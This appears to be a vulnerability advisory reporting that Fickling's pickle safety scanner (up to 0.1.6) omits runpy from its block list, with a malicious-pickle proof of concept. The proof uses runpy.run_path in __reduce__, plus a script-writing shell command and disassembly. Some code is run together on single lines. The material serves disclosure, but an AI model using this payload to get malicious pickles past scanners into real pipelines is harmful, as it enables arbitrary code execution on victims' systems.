runpy was added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/9a2b3f89bd0598b528d62c10a64c1986fcb09f66).
Fickling versions up to and including 0.1.6 do not treat Python’s runpy module as unsafe. Because of this, a malicious pickle that uses runpy.run_path() or runpy.run_module() is classified as SUSPICIOUS instead of OVERTLY_MALICIOUS.
If a user relies on Fickling’s output to decide whether a pickle is safe to deserialize, this misclassification can lead them to execute attacker-controlled code on their system.
This affects any workflow or product that uses Fickling as a security gate for pickle deserialization.
The runpy module is missing from fickling's block list of unsafe module imports in fickling/analysis.py. This is the same root cause as CVE-2025-67748 (pty) and CVE-2025-67747 (marshal/types).
Incriminated source code:
fickling/analysis.pyUnsafeImportsrunpy, runpy.run_path, runpy.run_module, or runpy._run_codeReference to similar fix:
pty to the blocklist to fix CVE-2025-67748runpyHow the bypass works:
runpy.run_path() in __reduce__UnsafeImports analysis does not flag runpy as dangerousUnusedVariables heuristic triggers, resulting in SUSPICIOUS severityOVERTLY_MALICIOUS like os.system, eval, and execTested behavior (fickling 0.1.6):
| Function | Fickling Severity | RCE Capable |
|---|---|---|
| os.system | LIKELY_OVERTLY_MALICIOUS | Yes |
| eval | OVERTLY_MALICIOUS | Yes |
| exec | OVERTLY_MALICIOUS | Yes |
| runpy.run_path | SUSPICIOUS | Yes ← BYPASS |
| runpy.run_module | SUSPICIOUS | Yes ← BYPASS |
Suggested fix:
Add to the unsafe imports blocklist in fickling/analysis.py:
Complete instructions, including specific configuration details, to reproduce the vulnerability.Environment:
Step 1: Create malicious pickle
import pickle import runpy
class MaliciousPayload: def reduce(self): return (runpy.run_path, ("/tmp/malicious_script.py",))
with open("malicious.pkl", "wb") as f: pickle.dump(MaliciousPayload(), f)
Step 2: Create the malicious script that will be executed
echo 'print("RCE ACHIEVED"); open("/tmp/pwned","w").write("compromised")' > /tmp/malicious_script.py
Step 3: Analyze with fickling
fickling --check-safety malicious.pkl
Expected output (if properly detected): Severity: OVERTLY_MALICIOUS
Actual output (bypass confirmed):
{
"severity": "SUSPICIOUS",
"analysis": "Variable _var0 is assigned value run_path(...) but unused afterward; this is suspicious and indicative of a malicious pickle file",
"detailed_results": {
"AnalysisResult": {
"UnusedVariables": ["_var0", "run_path(...)"]
}
}
}
Step 4: Prove RCE by loading the pickle
import pickle pickle.load(open("malicious.pkl", "rb"))
Pickle disassembly (evidence):
0: \x80 PROTO 4
2: \x95 FRAME 92
11: \x8c SHORT_BINUNICODE 'runpy' 18: \x94 MEMOIZE (as 0) 19: \x8c SHORT_BINUNICODE 'run_path' 29: \x94 MEMOIZE (as 1) 30: \x93 STACK_GLOBAL 31: \x94 MEMOIZE (as 2) 32: \x8c SHORT_BINUNICODE '/tmp/malicious_script.py' ... 100: R REDUCE 101: \x94 MEMOIZE (as 5) 102: . STOP
Vulnerability Type: Incomplete blocklist leading to safety check bypass (CWE-184) and arbitrary code execution via insecure deserialization (CWE-502).
Who is impacted: Any user or system that relies on fickling to vet pickle files for security issues before loading them. This includes:
Attack scenario: An attacker uploads a malicious ML model or pickle file to a model repository. The victim's pipeline uses fickling to scan uploads. Fickling rates the file as "SUSPICIOUS" (not "OVERTLY_MALICIOUS"), so the file is not rejected. When the victim loads the model, arbitrary code executes on their system.
Severity: HIGH
runpy